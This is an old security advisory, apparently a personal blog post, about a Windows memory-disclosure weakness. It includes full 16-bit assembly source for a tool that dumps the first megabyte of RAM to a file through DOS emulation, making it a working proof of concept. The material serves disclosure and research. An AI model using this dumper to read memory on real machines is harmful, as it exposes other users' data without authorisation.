"Never let school get in the way of learning."
-- Mark Twain

[BL4CK] - Advisories

Article 0x01 : Hello World / MS Windows memory leakage


0x02 : MS Windows memory leakage :

Synopsys :

Well, I wrote an article sometimes ago here. I discovered unprivilege users could access
parts of the RAM under Windows products...

Details :

Current Windows products (>Win 9X) have a nice
MS Dos emulation, so one can run 16b code under
Windows (with some limitations : no protected mode
for instance, from my testings). I didn't reversed the
emulations APIs, just tested if I could dump memory
ranges using asm16. Gues what ? Yeah, it works !
Using pmode would have allowed to dump up to 4Go
of mem (under a 32b box), but as mentioned before,
this doesn't seems to be supported under Win XP ;
plus since pmode uses vmem, it's probable that the
program could only dump it's own code anyway :-(
Nonetheless, here is some asm that runs in real
mode : the main limitation is that due to 16b mem
adressing (which allows 20b addresses), we can only
dump the first 1 Mo of memory :-( - which is already
bad++ since this area contains juicy informations
(check above url for an exemple)

Code :

to compile : run a86 dumper.asm dumper.com

you'll need a Win 9X box to compile this one.
Informal dirty code, just testing really...


;---------------- [ dumper.asm ]-----------------------------------------
; Dump first 1 Mo of memory under any MS product
; 1 Mo is the maximum quantity of accessible memory
; in real mode using 16b OSes.
;
; endrazine, last update : 30/12/2005
;
;-------------------------------------------------------------------------

code segment
org 100h
assume ds:code, es:code, cs:code


xor ax,ax
mov si,ax

start:
mov ah, 09h
mov dx,offset welcome
int 21h

xor ax,ax ;Wait until key pressed
int 16h


mov ah, 3ch ; MS DOS Create file Function
mov dx, offset fname
xor cx,cx
int 21h


mov ax, 3d01h ; MS DOS Open file Function
int 21h
mov handle,ax


xor ax,ax
mov ds,ax
mov myds,ds
mov cx,32

dabigloop:
push cx

xor ax,ax
mov si,ax

;==destination==
mov di,offset buffer
mov es,cs

;==compteur==
mov cx,16384

;==copy==
rep movsw

mov ds,cs

xor ax,ax
mov ah, 40h
mov bx,handle
mov cx,32768; +10
mov dx, offset buffer
int 21h

mov ax,myds
;add ax,2047 ;repeat last 16b
add ax,2048
mov myds,ax
mov ds,ax

pop cx

loop dabigloop

mov ax,4ch ; Quit
int 21h


myds dw ?
handle dw ?
welcome db '[ Raw Dos Memory Dumper ]',10,13
db '',10,13
db '[ coded by endrazine ]',10,13
db '',10,13
db '[ Dumping First Memory chunk to Dump.txt ]',10,13
db 'Press any key$',10,13
fname db 'Dump.txt',0
buffer db 32768 dup ?
some_canari_separator db '//////////',0
end start

end


;------------------------------------------------------------------------


Notes :

If anyone whishes more explainations about this code
or is simply curious about mem management in 16b,
feel free to let me know : I may enter in further details
(after all, a blog is meant to be interactive :-)

Have phun,

Endrazine-